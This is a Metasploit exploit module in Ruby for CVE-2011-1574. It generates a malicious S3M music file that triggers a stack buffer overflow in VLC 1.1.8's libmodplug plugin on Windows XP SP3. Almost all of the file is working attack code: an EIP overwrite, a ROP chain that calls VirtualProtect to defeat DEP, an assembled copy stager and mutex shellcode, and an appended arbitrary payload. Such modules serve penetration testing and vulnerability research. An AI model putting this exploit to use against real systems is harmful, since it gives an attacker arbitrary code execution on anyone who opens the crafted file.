##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits an input validation error in libmod_plugin as
        included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
        are affected. By creating a malicious S3M file, a remote attacker
        could execute arbitrary code.

        Although other products that bundle libmodplug may be vulnerable, this
        module was only tested against VLC.

        NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
        permanently enable NX support on machines that support it. As such,
        this module is capable of bypassing DEP, but not ASLR.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2011-1574' ],
          [ 'OSVDB', '72143' ],
          [ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2011/Apr/113' ]
        ],
      'Payload'        =>
        {
          'Space'		=> 512 - 0x24, # Space reserved for prepended mutex code
          #'DisableNops'	=> true,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'VLC 1.1.8 on Windows XP SP3',
            {
              # vuln is in libmod_plugin.dll, rop is custom to this module
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-04-07', # "found: 2011-03-09"
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.s3m']),
      ])
  end

  def exploit

    num_orders = 0x14
    num_instru = 0x15
    num_patterns = 0x18

    hdr = "\x00" * 0x1c # song name (none)
    hdr << [
      0x1a,   # static byte
      0x10,   # ST3 module
      0x00,   # padding
      num_orders,
      num_instru,
      num_patterns,
      0x00,   # Flags
      0x1320, # Created with (which tracker)
      0x02,   # File format information
    ].pack('CCvvvvvvv')
    hdr << "SCRM"

    hdr << [
      0x40, # global volume
      0x06, # initial speed
      0x8a, # initial tempo
      0xb0, # master volume
      0x10, # ultra click removal
      0xfb  # NOTE, non-0xfc value skips an additional loop!
      # 0xfc == default channel pan positions present
    ].pack('CCCCCC')
    hdr << "\x00" * 10  # includes pad and special pointer

    # channel settings (for 32 channels)
    hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
    hdr << "\xff" * 16

    # orders
    hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
    hdr << "\x14\x16\x17\xff"

    # parapointers to instruments
    hdr << [ 0x0f ].pack('v') * num_instru

    # parapoitners to patterns
    hdr << [ 0x78 ].pack('v') * num_patterns

    # channel default pan positions
    hdr << "\x00" * 32

    # instruments
    instru = "\x01metasplo.ity"
    rest = "\x00" * ((0x50 * num_instru) - instru.length)

    # Build the rop stack
    rvas = rvas_libmod_plugin_xpsp3()
    rop = generate_rop(rvas)
    zero_ptr = rva2addr(rvas, 'Scratch') + 4
    mutex_addr = rva2addr(rvas, 'Scratch') + 8
    imp_Sleep = rva2addr(rvas, 'imp_Sleep')

    # A mutex to prevent double payloads
    locking_code = <<-EOS
  mov ebx, [ #{imp_Sleep} ]
  jmp test_lock

sleep:
  push 0xdeadbeef
  call ebx

test_lock:
  mov eax, [ #{mutex_addr} ]
  test eax,eax
  jnz sleep

  lock cmpxchg [ #{mutex_addr} ], ebp
  test eax,eax
  jnz sleep

EOS
    rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
    rop << payload.encoded

    # This becomes the new EIP (after return)
    ret = rva2addr(rvas, 'pop eax / ret')
    rest[1267, 4] = [ ret ].pack('V')

    # In order to force return, we smash the this ptr on the stack and point
    # it so that m_nChannels turns out to be 0.
    rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')

    # Add the ROP stack and final payload here
    rest[1275, rop.length] = rop
    instru << rest

    # patterns
    patt = [ 0x10 ].pack('v')
    patt << "\x00" * 0x10


    # finalize the file
    s3m = ""
    s3m << hdr

    instru_pad = (0x0f * 0x10) - hdr.length
    s3m << "\x80" * instru_pad
    s3m << instru


    # patch in exploit trigger values
    s3m[0x22, 2] = [ 0x220 ].pack('v')
    s3m[0x24, 2] = [ 0x220 ].pack('v')


    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(s3m)

  end

  def rvas_libmod_plugin_xpsp3()
    # libmod_plugin.dll from VLC 1.1.8 (Win32)
    # Just return this hash
    {
      # Used as 'Ret' for target
      'ret'                    => 0x1022,
      'push eax / ret'         => 0x1cc4d,
      'pop eax / ret'          => 0x598a2,
      'mov eax, [eax+0x1c] / ret' => 0x542c9,
      'pop ebx / pop ebp / ret' => 0x25e2f,
      'add eax, 4 / pop ebp / ret' => 0x7028,
      'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
      'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
    }
  end

  def generate_rop(rvas)
    # ROP fun! (XP SP3 English, Apr 10 2011)
    rvas.merge!({
      # Instructions / Name    => RVA
      'BaseAddress'            => 0x653c0000,
      'imp_VirtualProtect'     => 0xec2f0 - 0x1c,  # adjust for gadget used to resolve
      'imp_Sleep'              => 0xec2dc,
      'Scratch'                => 0x5fbfc,
      'Data'                   => 0x60101,
      #'DataAdjusted'           => 0x60000 - 0x58 + 0x8,
      'DataAdjusted'           => 0x60000 - 0x58,
    })

    copy_stage = <<-EOS
  nop
  push esp
  pop esi
  lea edi, [eax+0x10]
  push 0x7f
  pop ecx
  inc ecx
  rep movsd
EOS
    copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
    if (copy_stage.length % 4) > 0
      fail_with(Failure::Unknown, "The copy stage is invalid")
    end

    rop_stack = [
      # Resolve VirtualProtect
      'pop eax / ret',
      'imp_VirtualProtect',
      'mov eax, [eax+0x1c] / ret',

      # Call VirtuaProtect
      'push eax / ret',
      'pop eax / ret',   # after VirtualProtect
      # Args to VirtualProtect
      'Data',      # lpAddress (place holder, filled in @ runtime above)
      0x1000,      # dwSize
      0x40,        # flNewProtect
      'Scratch',   # lpflOldProtect

      # Load the pre-adjusted Data addr
      'DataAdjusted', # matches pop eax / ret above

      ##
      # Write our code little stager to our newly executable memory.
      ##

      # Load the last 32-bits of code to write
      'pop ebx / pop ebp / ret',
      copy_stage[0, 4].unpack('V').first,
      :unused, # ebp

      # Write & advance
      'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
      copy_stage[4, 4].unpack('V').first,
      :unused, # esi
      :unused, # edi
      :unused, # ebp
      'add eax, 4 / pop ebp / ret',
      :unused, # ebp

      # Write & advance
      'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
      copy_stage[8, 4].unpack('V').first,
      :unused, # esi
      :unused, # edi
      :unused, # ebp
      'add eax, 4 / pop ebp / ret',
      :unused, # ebp

      # Write & advance
      'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
      0xffffffb0,  # adjustment value
      :unused, # esi
      :unused, # edi
      :unused, # ebp

      # Adjust eax
      'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
      :unused, # ebx
      :unused, # edi
      :unused, # ebp

      # Execute the copy stage
      'push eax / ret',
    ]

    rop_stack.map! { |e|
      if e.kind_of? String
        # Meta-replace (RVA)
        fail_with(Failure::Unknown, "Unable to locate key: \"#{e}\"") if not rvas[e]
        rvas['BaseAddress'] + rvas[e]

      elsif e == :unused
        # Randomize
        rand_text(4).unpack('V').first

      else
        # Literal
        e
      end
    }

    rop_stack.pack('V*')
  end

  def rva2addr(rvas, key)
    fail_with(Failure::Unknown, "Unable to locate key: \"#{key}\"") if not rvas[key]
    rvas['BaseAddress'] + rvas[key]
  end
end
